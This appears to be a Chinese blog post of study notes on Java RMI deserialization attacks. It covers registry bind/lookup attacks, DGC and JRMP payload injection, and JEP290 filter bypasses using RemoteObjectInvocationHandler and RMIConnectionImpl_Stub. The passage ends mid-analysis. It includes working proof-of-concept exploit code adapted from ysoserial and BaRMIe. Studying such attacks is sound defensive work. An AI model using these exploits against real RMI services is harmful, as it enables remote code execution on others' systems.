分类 web安全 下的文章

RMI攻击学习

主要根据这篇复习的https://xz.aliyun.com/t/7930,中间加了些自己的思考和补充。

代码地址:https://github.com/lalajun/RMIDeserialize

20200701101308-6810e0aa-bb40-1

  • RMI客户端反序列化攻击RMI服务端

  • RMI服务端反序列化攻击RMI注册端


    IDEA 中起 jdk1.7 的 ServerAndRegister,看一下 sun.rmi.registry.RegistryImpl_Skel#dispatch,直接查不到,需要起一个 debug 模式的 ServerAndRegister
    public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {
            //一处接口hash验证
            if (var4 != 4905912898345647071L) {
                throw new SkeletonMismatchException("interface hash mismatch");
            } else {
            //设定变量开始处理请求
                //var6为RegistryImpl对象,调用的就是这个对象的bind、list等方法
                RegistryImpl var6 = (RegistryImpl)var1;
                //接受客户端输入流的参数变量
                String var7;
                Remote var8;
                ObjectInput var10;
                ObjectInput var11;
                //var3表示对应的方法值0-4,这个数字是跟RMI客户端约定好的
                //比如RMI客户端发送bind请求:就是sun.rmi.registry.RegistryImpl_Stub#bind中的这一句
                //super.ref.newCall(this, operations, 0, 4905912898345647071L);
                switch(var3) {
                //统一删除了try等语句
                case 0:
                        //bind(String,Remote)分支
                        var11 = var2.getInputStream();
                        //1.反序列化触发处
                        var7 = (String)var11.readObject();
                        var8 = (Remote)var11.readObject();
                        var6.bind(var7, var8);
                case 1:
                        //list()分支
                        var2.releaseInputStream();
                        String[] var97 = var6.list();
                        ObjectOutput var98 = var2.getResultStream(true);
                        var98.writeObject(var97);
    
                case 2:
                      //lookup(String)分支
                        var10 = var2.getInputStream();
                        //2.反序列化触发处
                        var7 = (String)var10.readObject();
                        var8 = var6.lookup(var7);
    
                case 3:
                      //rebind(String,Remote)分支
                        var11 = var2.getInputStream();
                        //3.反序列化触发处
                        var7 = (String)var11.readObject();
                        var8 = (Remote)var11.readObject();
                        var6.rebind(var7, var8);
    
                case 4:
                        //unbind(String)分支
                        var10 = var2.getInputStream();
                        //4.反序列化触发处
                        var7 = (String)var10.readObject();
                        var6.unbind(var7);
                default:
                    throw new UnmarshalException("invalid method number");
                }
    
            }
        }
    

    从这里看到有 4 个分支可以触发反序列化,分为了两种情况
    • lookup & unbind (String类型)
    • bind & rebind (Remote 和 String)

    有些文章在这里的分析有问题,实际上 RMI注册端没有任何校验,你的payload放在Remote参数位置可以攻击成功,放在String参数位置也可以攻击成功
    看一下 BaRMie 的对应嗅探模块 nb.barmie.modes.attack.attacks.Java.IllegalRegistryBind#canAttackEndpoint
           Registry reg;
            
            //Execute a dummy attack
            try {
                //1.新建一个RMI代理服务器,在这个代理服务器中会对输出的数据包进行重新构造
                proxy = new RMIBindExploitProxy(InetAddress.getByName(ep.getEndpoint().getHost()), ep.getEndpoint().getPort(), this._options, this._dummyPayload);
                proxy.startProxy();
                
                //2.获取这个RMI对象,调用其bind方法
                reg = LocateRegistry.getRegistry(proxy.getServerListenAddress().getHostAddress(), proxy.getServerListenPort());
                
                reg.bind(this.generateRandomString(), new BaRMIeBindExploit());
            } catch(BaRMIeException | UnknownHostException | RemoteException | AlreadyBoundException ex) {
                //3.重构客户端输出的数据包,改变其内容为预设好的一个Object
                if(ex instanceof ServerException && ex.getCause() != null && ex.getCause() instanceof UnmarshalException && ex.getCause().getCause() != null && ex.getCause().getCause() instanceof InvalidClassException) {
                    //4.服务端肯定会报错(由于我们预设的Object不会被正确解析执行),根据服务端返回报错栈,去匹配是否有filter status: REJECTED字符串来判断,对方的JDK版本我们是否可以攻击。
                    if(ex.getCause().getCause().toString().contains("filter status: REJECTED")) {
                        //Test payload was filtered, likely this attack isn't possible
                        return false;
                    }
                }
            } finally {
                //Stop the proxy
                if(proxy != null) {
                    proxy.stopProxy(true);
                }
            }
            
            //如果没有匹配到就说明可以攻击。
            return true;
        }
    

    攻击模块 nb.barmie.modes.attack.attacks.Java.IllegalRegistryBind#executeAttack
    public void executeAttack(RMIEndpoint ep, DeserPayload payload, String cmd) throws BaRMIeException {
        RMIBindExploitProxy proxy = null;//代理器
        Registry reg;
        //已删去try部分
        //1.初始化一个bind RMI注册端代理器
        //我们的payload从这里给入
        proxy = new RMIBindExploitProxy(InetAddress.getByName(ep.getEndpoint().getHost()), ep.getEndpoint().getPort(), this._options, payload.getBytes(cmd, 0));
        proxy.startProxy();
    
        //2.从RMI注册端代理器获取一个注册端对象
        reg = LocateRegistry.getRegistry(proxy.getServerListenAddress().getHostAddress(), proxy.getServerListenPort());
    
        //3.通过RMI注册端代理器调用bind,修改参数为给定的payload
        //reg.bind(随机字符串,一个接口需要的Remote接口)
        //但是经过注册端代理器之后,这里的参数会被改为:bind(PAYLOAD, null),没错payload是String的位置
        reg.bind(this.generateRandomString(), new BaRMIeBindExploit());
    }
    
    private static class BaRMIeBindExploit implements Remote, Serializable {
    }
    

    具体的实现 nb.barmie.net.proxy.thread.BindPayloadInjectingProxyThread#handleData
    public ByteArrayOutputStream handleData(ByteArrayOutputStream data) {
            ByteArrayOutputStream out;
            int blockLen;
            byte[] dataBytes;
            //获取输入的长度
            dataBytes = data.toByteArray();
            //判断这个输入包是不是一个RMI调用包,如果是的话进行修改
            if(dataBytes.length > 7 && dataBytes[0] == (byte)0x50) {
                //调用包以 TC_BLOCKDATA 标签开头,获取它的标签长度
                blockLen = (int)(dataBytes[6] & 0xff);
    
                //自己构建一个新的字节流,以原来包的长度和TC_BLOCKDATA标签开头
                out = new ByteArrayOutputStream();
                out.write(dataBytes, 0, blockLen + 7);
    
                //在后面写入我们给定的payload
                out.write(this._payload, 0, this._payload.length);
    
                //最后给一个NULL标签(作为bind方法的第二个参数)
                out.write((byte)0x70);
    
                //把新的数据包发送给服务端
                return out;
            } else {
                //不是RMI调用的数据包就直接发送
                return data;
            }
        }
    

    这里的 payload 是放在了第一个参数中(String),而 ysoserial 的 RMIRegisterExpolit 模块是把 payload 放在了第二个参数中(Remote)。
    翻一下 ysoserial.exploit.RMIRegistryExploit#exploit
    public static void exploit(final Registry registry,
                final Class payloadClass,
                final String command) throws Exception {
            new ExecCheckingSecurityManager().callWrapped(new Callable(){public Void call() throws Exception {
                //获取payload
                ObjectPayload payloadObj = payloadClass.newInstance();
                Object payload = payloadObj.getObject(command);
                String name = "pwned" + System.nanoTime();
                //将payload封装成Map
                //然后通过sun.reflect.annotation.AnnotationInvocationHandler建立起动态代理
                //变为Remote类型
                Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class);
                try {
                    //封装的remote类型,通过RMI客户端的正常接口发出去
                    registry.bind(name, remote);
                } catch (Throwable e) {
                    e.printStackTrace();
                }
                Utils.releasePayload(payloadObj, payload);
                return null;
            }});
        }
    }
    

    使用了动态代理(createMemoitizedProxy),代理之后实现 Remote 接口的绑定代理的对象的任意方法,都会前往sun.reflect.annotation.AnnotationInvocationHandler的invoke方法执行。
    public static  T createMemoitizedProxy ( final Map map, final Class iface, final Class... ifaces ) throws Exception {
        //Map是我们传入的,需要填充进入AnnotationInvocationHandler构造方法中的对象。
        //iface是被动态代理的接口
        return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
    }
    
    //这里创建了一个`sun.reflect.annotation.AnnotationInvocationHandler`拦截器的对象
    //传入了我们含有payload的map,进入构造方法,会在构造方法内进行赋值给对象的变量
    public static InvocationHandler createMemoizedInvocationHandler ( final Map map ) throws Exception {
        return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
    }
    
    //正式开始绑定代理动态代理
    //ih 拦截器
    //iface 需要被代理的类
    //ifaces 这里没有
    public static  T createProxy ( final InvocationHandler ih, final Class iface, final Class... ifaces ) {
        final Class[] allIfaces = (Class[]) Array.newInstance(Class.class, ifaces.length + 1);
        allIfaces[ 0 ] = iface;
        if ( ifaces.length > 0 ) {
            System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);
        }
        //上面整合了一下需要代理的接口到allIfaces里面
        //然后Proxy.newProxyInstance,完成allIfaces到ih的绑定
        //(Gadgets.class.getClassLoader()就是获取了一个加载器,不用太管)
        //iface.cast是将获取的绑定结果对象转变为iface(即Remote)的对象类型
        return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih));
    }
    

    现在就满足了 registry.bind(name, remote) 中第二个参数为 Remote 的要求了。
    动态代理在反序列化的作用就是执行一个拦截器的 invoke 方法(比如 AnnotationInvocationHandler 的 invoke 调用了 get,正好能补全反序列化的链子)。
    但在这里用动态代理只是为了把 payload 放到 AnnotationInvocationHandler 里面,然后把 AnnotationInvocationHandler 包装成任意类接口。
    这里原文作者尝试不利用动态代理,而是自己实现一个 remote 接口的类再放入 payload,效果是一样的。
    //加个Remote接口的类,要支持序列化
    private static class BindExploit implements Remote, Serializable {
        //弄个地方放payload
        private final Object memberValues;
    
        private BindExploit(Object payload) {
            memberValues = payload;
        }
    }
        public static void exploit(final Registry registry,
                final Class payloadClass,
                final String command) throws Exception {
            new ExecCheckingSecurityManager().callWrapped(new Callable(){public Void call() throws Exception {
                ObjectPayload payloadObj = payloadClass.newInstance();
                Object payload = payloadObj.getObject(command);
                String name = "pwned" + System.nanoTime();
                //yso动态代理包装
                //Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class);
                //自己包装
                Remote remote_lala = new BindExploit(payload);
    
                try {
                    //registry.bind(name, remote);
                    //自己包装
                     registry.bind(name, remote_lala);
                } catch (Throwable e) {
                    e.printStackTrace();
                }
                Utils.releasePayload(payloadObj, payload);
                return null;
            }});
        }
    
  • 修复后的绕过


    在JEP290规范之后,即JAVA版本6u141, 7u131, 8u121之后,以上攻击就不奏效了。
    private static Status registryFilter(FilterInfo var0) {
        //这里registryFilter为空跳过该判断
        if (registryFilter != null) {
            Status var1 = registryFilter.checkInput(var0);
            if (var1 != Status.UNDECIDED) {
                return var1;
            }
        }
        //不允许输入流的递归层数超过20层,超过就报错
        if (var0.depth() > 20L) {
            return Status.REJECTED;
        } else {
            //获取输入流序列化class类型到var2
            Class var2 = var0.serialClass();
            //判断是否为null,null就报错
            if (var2 == null) {
                return Status.UNDECIDED;
            } else {
                //判断是否为数组类型
                if (var2.isArray()) {
                    //数组长度大于10000就报错
                    if (var0.arrayLength() >= 0L && var0.arrayLength() > 10000L) {
                        return Status.REJECTED;
                    }
                    //获取到数组中的成分类,假如是还是数组嵌套,继续获取
                    do {
                        var2 = var2.getComponentType();
                    } while(var2.isArray());
                }
                //判断是不是JAVA基元类型,就是 绕过Object类型参数 小章中的那些基本类
                //是基本类就允许
                if (var2.isPrimitive()) {
                    return Status.ALLOWED;
                } else {
                    //判断我们的输入的序列化类型是否为以下的几类class白名单之中
                    //如果我们输入的类属于下面这些白名单的类或超类,就返回ALLOWED
                    //不然就返回REJECTED报错。
                    return String.class != var2 && 
                        !Number.class.isAssignableFrom(var2) && 
                        !Remote.class.isAssignableFrom(var2) && 
                        !Proxy.class.isAssignableFrom(var2) && 
                        !UnicastRef.class.isAssignableFrom(var2) && 
                        !RMIClientSocketFactory.class.isAssignableFrom(var2) && 
                        !RMIServerSocketFactory.class.isAssignableFrom(var2) && 
                        !ActivationID.class.isAssignableFrom(var2) && 
                        !UID.class.isAssignableFrom(var2) ? 
                        Status.REJECTED : Status.ALLOWED;
                }
            }
        }
        }
    

    经过递归检测,AnnotationInvocationHandler 被拦下来了。
  • 关于地址校验


    RMI 攻击中的攻击者(服务端)不是受害者(注册端)信任的地址,但却没用被拦截。
    原因是因为 注册端对于服务端的验证在反序列化操作之后
    image-20220206152202431
    image-20220206152220822
    在 8u141之后,验证逻辑变成了先验证再反序列化,服务端调用 bind 打注册端的原打法直接G了,但是 lookup 打注册端不需要验证不受影响(单从代码逻辑上)。
  • RMI DGC层反序列化(其实是 JRMP 层的原理)


    DGC 用于维护服务端被客户端使用的远程引用(垃圾回收机制),来控制这个引用被继续使用还是清除。
    用 yso 的 JRMP 打
    image-20220206154114445
    跟进 sun.rmi.transport.DGCImpl_Skel#dispatch
    public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {
        //一样是一个dispatch用于分发作用的方法
        //固定接口hash校验
        if (var4 != -669196253586618813L) {
            throw new SkeletonMismatchException("interface hash mismatch");
        } else {
            DGCImpl var6 = (DGCImpl)var1;
            ObjID[] var7;
            long var8;
            //判断dirty和clean分支流
            switch(var3) {
                //clean分支流
                case 0:
                    VMID var39;
                    boolean var40;
                    try {
                        //从客户端提供的输入流取值
                        ObjectInput var14 = var2.getInputStream();
                        //对于取值进行反序列化,***漏洞触发点***
                        var7 = (ObjID[])var14.readObject();
                        var8 = var14.readLong();
                        var39 = (VMID)var14.readObject();
                        var40 = var14.readBoolean();
                    } catch (IOException var36) {
                        throw new UnmarshalException("error unmarshalling arguments", var36);
                    } catch (ClassNotFoundException var37) {
                        throw new UnmarshalException("error unmarshalling arguments", var37);
                    } finally {
                        var2.releaseInputStream();
                    }
                  //进行clean操作,已经完成了攻击,之后操作已经不重要了。
                    var6.clean(var7, var8, var39, var40);
    
                    //..省略部分无关操作
                //dirty方法分支流,跟clean在漏洞触发点上是一样没差的
                case 1:
                    Lease var10;
                    try {
                        //从客户端提供的输入流取值
                        ObjectInput var13 = var2.getInputStream();
                        //对于取值进行反序列化,***漏洞触发点***
                        var7 = (ObjID[])var13.readObject();
                        var8 = var13.readLong();
                        var10 = (Lease)var13.readObject();
                    } catch (IOException var32) {
                        throw new UnmarshalException("error unmarshalling arguments", var32);
                    } catch (ClassNotFoundException var33) {
                        throw new UnmarshalException("error unmarshalling arguments", var33);
                    } finally {
                        var2.releaseInputStream();
                    }
    
                    Lease var11 = var6.dirty(var7, var8, var10);
    
                   //..省略无关操作
                default:
                    throw new UnmarshalException("invalid method number");
            }
        }
    

    找到了漏洞触发点,下一步就是找这个触发点时如何被调用的,传入的哪些参数。
    调试中会生成 sun.rmi.transport.DGCImpl_Stub#dirty
    public Lease dirty(ObjID[] var1, long var2, Lease var4) throws RemoteException {
            try {
                //开启了一个连接,似曾相识的 669196253586618813L 在服务端也有
                RemoteCall var5 = super.ref.newCall(this, operations, 1, -669196253586618813L);
    
                try {
                    //获取连接的输入流
                    ObjectOutput var6 = var5.getOutputStream();
                    //写入一个对象,在实现的本意中,这里是一个ID的对象列表ObjID[]
                    //***这里就是我们payload写入的地方***
                    var6.writeObject(var1);
                    //------
                    var6.writeLong(var2);
                    var6.writeObject(var4);
                } catch (IOException var20) {
                    throw new MarshalException("error marshalling arguments", var20);
                }
    
                super.ref.invoke(var5);
    
                Lease var24;
                try {
                    ObjectInput var9 = var5.getInputStream();
                    var24 = (Lease)var9.readObject();
                //省略大量错误处理..
        }
    

    这就是DGC客户端该放payload的地方了。
    针对这种很底层的 payload,从顶层开始一步一步操作的过程中很可能会发生变化,所以这种情况下的 poc 通常使用自实现一个客户端去拼接反序列化包。
    Ysoserial 的 JRMP-Client 的实现:
    //传入目标RMI注册端(也是DGC服务端)的IP端口,以及攻击载荷的payload对象。
    public static void makeDGCCall ( String hostname, int port, Object payloadObject ) throws IOException, UnknownHostException, SocketException {
            InetSocketAddress isa = new InetSocketAddress(hostname, port);
            Socket s = null;
            DataOutputStream dos = null;
            try {
                //建立一个socket通道,并为赋值
                s = SocketFactory.getDefault().createSocket(hostname, port);
                s.setKeepAlive(true);
                s.setTcpNoDelay(true);
               //读取socket通道的数据流
                OutputStream os = s.getOutputStream();
                dos = new DataOutputStream(os);
               //*******开始拼接数据流*********
                //以下均为特定协议格式常量,之后会说到这些数据是怎么来的
                //传输魔术字符:0x4a524d49(代表协议)
                dos.writeInt(TransportConstants.Magic);
                //传输协议版本号:2(就是版本号)
                dos.writeShort(TransportConstants.Version);
                //传输协议类型: 0x4c (协议的种类,好像是单向传输数据,不需要TCP的ACK确认)
                dos.writeByte(TransportConstants.SingleOpProtocol);
               //传输指令-RMI call:0x50 
                dos.write(TransportConstants.Call);
    
                @SuppressWarnings ( "resource" )
                final ObjectOutputStream objOut = new MarshalOutputStream(dos);
               //DGC的固定读取格式,等会具体分析
                objOut.writeLong(2); // DGC
                objOut.writeInt(0);
                objOut.writeLong(0);
                objOut.writeShort(0);
               //选取DGC服务端的分支选dirty
                objOut.writeInt(1); // dirty
                //然后一个固定的hash值
                objOut.writeLong(-669196253586618813L);
                //我们的反序列化触发点
                objOut.writeObject(payloadObject);
    
                os.flush();
            }
        }
    

    详见。。。算了不见就不见了吧
    20200622140434-3edd6486-b44e-1
    这个问题同样在 sun.rmi.transport.DGCImpl#checkInput 被过滤了。
  • JRMP 服务端打 JRMP 客户端


    在 DGC 反序列化的中的 dirty 里,通过 super.ref.invoke(var5) 进入到了 sun.rmi.server.UnicastRef#invoke,
    public void invoke(RemoteCall call) throws Exception {
            try {
                //写个日志,不管
                clientRefLog.log(Log.VERBOSE, "execute call");
               //跟进此处
                call.executeCall();
                //...省略一堆报错处理
    

    而在 invoke 中又会进入 sun.rmi.transport.StreamRemoteCall#executeCall
    public void executeCall() throws Exception {
            byte returnType;
    
            // read result header
            DGCAckHandler ackHandler = null;
            try {
                //...这里发包和接受返回状态returnType和返回包数据流in
                returnType = in.readByte();  //1. 反序列化一个returnType
                in.readID();        // 2. 反序列化一个id for DGC acknowledgement
                //具体细节比较复杂不看了
            } catch (UnmarshalException e) {
                //..略..
            }
    
            // 处理returnType返回状态
            switch (returnType) {
            //这是常量1
            case TransportConstants.NormalReturn:
                break;
            //这是常量2
            case TransportConstants.ExceptionalReturn:
                Object ex;
                try {
                    //3. 从服务端返回数据流in中读取,并反序列化
                    //***漏洞触发点***
                    ex = in.readObject();
                    //省略之后代码
    

    这时客户端的反序列化点就找到了,在 yso 中用了 DGC 反序列化生成 poc 的技巧,即模拟一个服务端,把报错信息改成 payload,但还是要找一下原生服务端写序列化的位置。
    要触发反序列化必须满足 returnType 为 TransportConstants.ExceptionalReturn ,可以找到
    sun.rmi.transport.StreamRemoteCall#getResultStream
    public ObjectOutput getResultStream(boolean success) throws IOException {
        if (resultStarted)
            throw new StreamCorruptedException("result already in progress");
        else
            resultStarted = true;
    
        DataOutputStream wr = new DataOutputStream(conn.getOutputStream());
        wr.writeByte(TransportConstants.Return);
        getOutputStream(true);  
        //success为false,进入我们的分支
        if (success)  
            out.writeByte(TransportConstants.NormalReturn);
        else
            //*******这里第一个序列化returnType*******
            out.writeByte(TransportConstants.ExceptionalReturn);
        //第二个序列化一个ID
        out.writeID();          // write id for gcAck
        return out;
    }
    

    然后查找一下调用过 getResultStream 的地方,比如 sun.rmi.server.UnicastServerRef#dispatch
    //这里出来
    ObjectOutput out = call.getResultStream(false);
    if (e instanceof Error) {
        e = new ServerError(
            "Error occurred in server thread", (Error) e);
    } else if (e instanceof RemoteException) {
        e = new ServerException(
            "RemoteException occurred in server thread",
            (Exception) e);
    }
    if (suppressStackTraces) {
        clearStackTraces(e);
    }
    //第三处序列化:序列化写入报错信息,也就是payload插入处
    out.writeObject(e);
    

    但是在 writeObject 中写入的是报错信息(不是我们能完全控制的部分),因此直接从服务端构造是不行的。
    JRMP服务端打JRMP客户端的攻击方法不受JEP290的限制
    因为 JEP290默认在RMI Register 层 和 DGC 层有过滤器,而 JRMP 是他们的底层,没 有 过 滤!
    攻击流程:
    20200622151053-82ab02d2-b457-1
    1. RMI 注册端(JRMP 客户端)主动连接我们的 JRMP 服务端(白名单不作用在序列化过程)
    2. 恶意的 JRMP 客户端在报错信息处写入 payload,序列化后发给 RMI 注册端(JRMP 客户端)
    3. RMI 注册端(JRMP 客户端)底层不存在白名单,可以执行 payload。

    原本是目标直接对 bind 攻击,改为让 RMI 注册段 向我们指定的 JRMP 服务端发起请求,而且完成这一操作使用的对象必须都在白名单中,然后把它封装到 register.bind(String,Remote) 中。
    从 bind 连接开始看
    try {
        var9 = var2.getInputStream();//var2是我们的输入流
        var7 = (String)var9.readObject();//略过
        //payload在这,在readobject中递归调用属性,进入UnicastRef#readExternal
        //在其中完成了ref的填装
        var80 = (Remote)var9.readObject();
    } catch (ClassNotFoundException | IOException var77) {
        throw new UnmarshalException("error unmarshalling arguments", var77);
    } finally {
        //在这里处理ref的时候才真正完成了触发
        var2.releaseInputStream();
    }
    

    一直跟到 stream.saveRef(ref) 中,数据放到 incomingRefTable 中。
    然后执行 var2.releaseInputStream(),在中解析 readObject 中incomingRefTable的数据。
    void registerRefs() throws IOException {
        if (!this.incomingRefTable.isEmpty()) {
            //遍历incomingRefTable
            Iterator var1 = this.incomingRefTable.entrySet().iterator();
            while(var1.hasNext()) {
                Entry var2 = (Entry)var1.next();
                //开始一个个去DGC注册
                DGCClient.registerRefs((Endpoint)var2.getKey(), (List)var2.getValue());
            }
        }
    }
    

    进到 sun.rmi.transport.DGCClient#registerRefs 中并执行 sun.rmi.transport.DGCClient.EndpointEntry#registerRefs
    public boolean registerRefs(List refs) {
                assert !Thread.holdsLock(this);
    
                Set refsToDirty = null;     // entries for refs needing dirty
                long sequenceNum;           // sequence number for dirty call
                //阻塞执行,去遍历查询LiveRef实例
                synchronized (this) {
                    //省略此处代码,就是做遍历查询的事情
                }
                //为所有结果参与DGC垃圾回收机制注册
                //------进入此处------
                makeDirtyCall(refsToDirty, sequenceNum);
                return true;
            }
    

    进到 sun.rmi.transport.DGCClient.EndpointEntry#makeDirtyCall 中,然后进到 dirty 请求中,需要 ctrl+alt+B
    image-20220206225438437
    public Lease dirty(ObjID[] var1, long var2, Lease var4) throws RemoteException {
            try {
                RemoteCall var5 = super.ref.newCall(this, operations, 1, -669196253586618813L);
    
                try {
                    ObjectOutput var6 = var5.getOutputStream();
                    var6.writeObject(var1);
                    var6.writeLong(var2);
                    var6.writeObject(var4);
                } catch (IOException var20) {
                    throw new MarshalException("error marshalling arguments", var20);
                }
                //JRMP服务端打JRMP客户端的反序列化触发点在这里面
                super.ref.invoke(var5);
    

    回到了本节的第一句话,那么就是说如果用 UnicastRef对象的readExternal方法作为反序列化入口的话,可以控制反序列化内容通过 dirty 向指定服务端发起 JRMP 连接。
    下一步就是构造 payload 的,首先要明确目标:把 UncicastRef 对象封装进入 register.bind(String,Remote) 的 Remote 中,将 UnicastRef 对象反序列化(因为在bind 的 Remote 中有递归反序列化的操作),然后选择的问题就是如何将 UnicastRef 对象封装成 Remote 类型。
    UnicastRef 对象:
    //让受害者主动去连接的攻击者的JRMPlister的host和port
    public static UnicastRef generateUnicastRef(String host, int port) {
        java.rmi.server.ObjID objId = new java.rmi.server.ObjID();
        sun.rmi.transport.tcp.TCPEndpoint endpoint = new sun.rmi.transport.tcp.TCPEndpoint(host, port);
        sun.rmi.transport.LiveRef liveRef = new sun.rmi.transport.LiveRef(objId, endpoint, false);
        return new sun.rmi.server.UnicastRef(liveRef);
    }
    

    三种思路:
    1. 不封装,参考 BaRMie,直接发送 UnicastRef。
    2. 参考 yso,用动态代理封装(封装拦截器),但 AnnotationInvocationHandler 被ban了。
    3. 找一个同时继承实现两者的类或者一个实现Remote,并将UnicastRef类型作为其一个字段的类。这样只需要把我们的UnicastRef对象塞入这个类中,然后直接塞进register.bind(String,Remote)中。

    • 动态代理的方式

      自定义拦截器 -> UnicasstRef 放入 PocHandler 拦截器 -> 转变为 Remote 类型
      public static class PocHandler implements InvocationHandler, Serializable {
          private RemoteRef ref;//来放我们的UnicastRef对象
      
          protected PocHandler(RemoteRef newref) {//构造方法,来引入UnicastRef
              ref = newref;
          }
      
          @Override
          public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
              return this.ref //只是为了满足拦截类的格式,随便写
          }
      }
      public static void main(String[] args) throws Exception{
              String jrmpListenerHost = "127.0.0.1";
              int jrmpListenerPort = 1199;
              UnicastRef unicastRef = generateUnicastRef(jrmpListenerHost, jrmpListenerPort);
              Remote remote = (Remote) Proxy.newProxyInstance(RemoteRef.class.getClassLoader(), new Class[]{Remote.class}, new PocHandler(unicastRef));
              Registry registry = LocateRegistry.getRegistry(1099);//本地测试
              registry.bind("2333", remote);
          }
      

      或者不用自定义,用 RemoteObjectInvocationHandler(yso的实现逻辑)
      public class RemoteObjectInvocationHandler
          extends RemoteObject
          implements InvocationHandler //表示是一个拦截器
      {
      //构造函数,传入一个RemoteRef接口类型的变量
          public RemoteObjectInvocationHandler(RemoteRef ref) {
              super(ref);
              if (ref == null) {
                  throw new NullPointerException();
              }
          }
      //而UnicastRef类型实现RemoteRef接口,即可以传入
      //public class UnicastRef implements RemoteRef {
      
      public abstract class RemoteObject implements Remote, java.io.Serializable {
      
          /** The object's remote reference. */
          transient protected RemoteRef ref;
      
       //super(ref)的内容,可以成功塞入变量中
           protected RemoteObject(RemoteRef newref) {
              ref = newref;
          }
      

      插曲:transient 修饰的变量在正常序列化过程中会为空,但这里却还是能成功,原因是这里的 RemoteObject 类对 writeobject、readobject 进行了重写,就会进入这个方法进行特殊的逻辑执行。
      private void writeObject(java.io.ObjectOutputStream out)
              throws java.io.IOException, java.lang.ClassNotFoundException
          {
              if (ref == null) {
                  throw new java.rmi.MarshalException("Invalid remote object");
              } else {
                  String refClassName = ref.getRefClass(out);
                  if (refClassName == null || refClassName.length() == 0) {
                      //不会进入的地方....
                  } else {
                      /*
                       * Built-in reference class specified, so delegate
                       * to reference to write out its external form.
                       */
                       //我们的序列化操作会进入到这里对于ref进行序列化
                      out.writeUTF(refClassName);
                      ref.writeExternal(out);
                      //在这里通过writeExternal来写入了ref
                      //(transient类型的变量可以通过writeExternal来写入序列化)
                  }
              }
          }
      

      在 RemoteObjectInvocationHandler 填入一个 UnicastRef 对象,然后就是利用动态代理进行类型转变了。
      public class Bypass290 {
          //省略generateUnicastRef方法
          public static void main(String[] args) throws Exception{
              //获取UnicastRef对象
              String jrmpListenerHost = "127.0.0.1";//本地测试
              int jrmpListenerPort = 1199;
              UnicastRef ref = generateUnicastRef(jrmpListenerHost, jrmpListenerPort);
              //通过构造函数封装进入RemoteObjectInvocationHandler
              RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
              //使用动态代理改变obj的类型变为Registry,这是Remote类型的子类
              //所以接下来bind可以填入proxy
              Registry proxy = (Registry) Proxy.newProxyInstance(Bypass290.class.getClassLoader(),
                                                                 new Class[]{Registry.class}, obj);
              //触发漏洞
              Registry registry = LocateRegistry.getRegistry(1099);//本地测试
              registry.bind("hello", proxy);//填入payload
          }
      }
      
    • 找一个带 UnicastRef 类型参数的 Remote 接口的类

      RemoteObjectInvocationHandler 就是,继承自 RemoteObject ,而 RemoteObject 又继承自 Remote,所以上面的 poc 把动态代理注释了也能打
      public static void main(String[] args) throws Exception{
          //获取UnicastRef对象
          String jrmpListenerHost = "127.0.0.1";//本地测试
          int jrmpListenerPort = 1199;
          UnicastRef ref = generateUnicastRef(jrmpListenerHost, jrmpListenerPort);
          //通过构造函数封装进入RemoteObjectInvocationHandler
          RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
          //使用动态代理改变obj的类型变为Registry,这是Remote类型的子类
          //所以接下来bind可以填入proxy 注释
          //        Registry proxy = (Registry) Proxy.newProxyInstance(Bypass290.class.getClassLoader(),
          //                new Class[]{Registry.class}, obj);
          //触发漏洞
          Registry registry = LocateRegistry.getRegistry(1099);//本地测试
          //        registry.bind("hello", proxy);//填入payload
          registry.bind("hello", obj);//填入payload
      }
      

      同样的道理,那么继承了 RemoteObjectInvocationHandler 类也可以拿来利用。
      RMIConnectionImpl_Stub 可以用
      1. 是 Remote 接口
        //RMIConnectionImpl_Stub类定义,继承自RemoteStub类
        public final class RMIConnectionImpl_Stub
            extends java.rmi.server.RemoteStub
            implements javax.management.remote.rmi.RMIConnection{
        
        //java.rmi.server.RemoteStub 定义,继承自RemoteObject类
        abstract public class RemoteStub extends RemoteObject {
        
        //RemoteObject定义,实现Remote接口
        public abstract class RemoteObject implements Remote, java.io.Serializable {
        
      2. 构造方法可以放 UnicastRef
        //javax.management.remote.rmi.RMIConnectionImpl_Stub#RMIConnectionImpl_Stub 构造方法
        public RMIConnectionImpl_Stub(java.rmi.server.RemoteRef ref) {
            super(ref);
            }
        
        //java.rmi.server.RemoteStub#RemoteStub(java.rmi.server.RemoteRef) 构造方法
         protected RemoteStub(RemoteRef ref) {
                super(ref);
            }
        
        //java.rmi.server.RemoteObject#RemoteObject(java.rmi.server.RemoteRef) 构造方法
        protected RemoteObject(RemoteRef newref) {
                ref = newref;
            }
        
    • UnicastRemoteObject 不行
      原因是客户端 bind 中的反序列化流程是
      ObjectOutput var4 = var3.getOutputStream();
      var4.writeObject(var1);
      var4.writeObject(var2);
      

      跟进 java.io.ObjectOutputStream#writeObject0 中,发现触发了 replaceObject 方法
      private void writeObject0(Object obj, boolean unshared)
              throws IOException
          {
              boolean oldMode = bout.setBlockDataMode(false);
              depth++;
              try {
                  //一大堆类型检查,都不会通过
      
                  // 想要去检查替换我们的object
                  Object orig = obj;
                  Class cl = obj.getClass();
                  ObjectStreamClass desc;
                  for (;;) {
                      //查找相关内容
                  }
                  if (enableReplace) {//都是true
                  //!!!!!!!!!!!此处替换了我们的对象!!!!!!!!!!
                      Object rep = replaceObject(obj);
                      if (rep != obj && rep != null) {
                          cl = rep.getClass();
                          desc = ObjectStreamClass.lookup(cl, true);
                      }
                      obj = rep;
                  }
      
                  //一些替换后的处理,不太重要
      
                  // 通过类进行分配序列化过程
                  if (obj instanceof String) {
                      writeString((String) obj, unshared);
                  } else if (cl.isArray()) {
                      writeArray(obj, desc, unshared);
                  } else if (obj instanceof Enum) {
                      writeEnum((Enum) obj, desc, unshared);
                  } else if (obj instanceof Serializable) {
                      //进入此处再开始正常的序列化
                      writeOrdinaryObject(obj, desc, unshared);
                  //...省略...
          }
      

      然后跟进到 sun.rmi.server.MarshalOutputStream#replaceObject 中
      //var1就是我们想要序列化的类
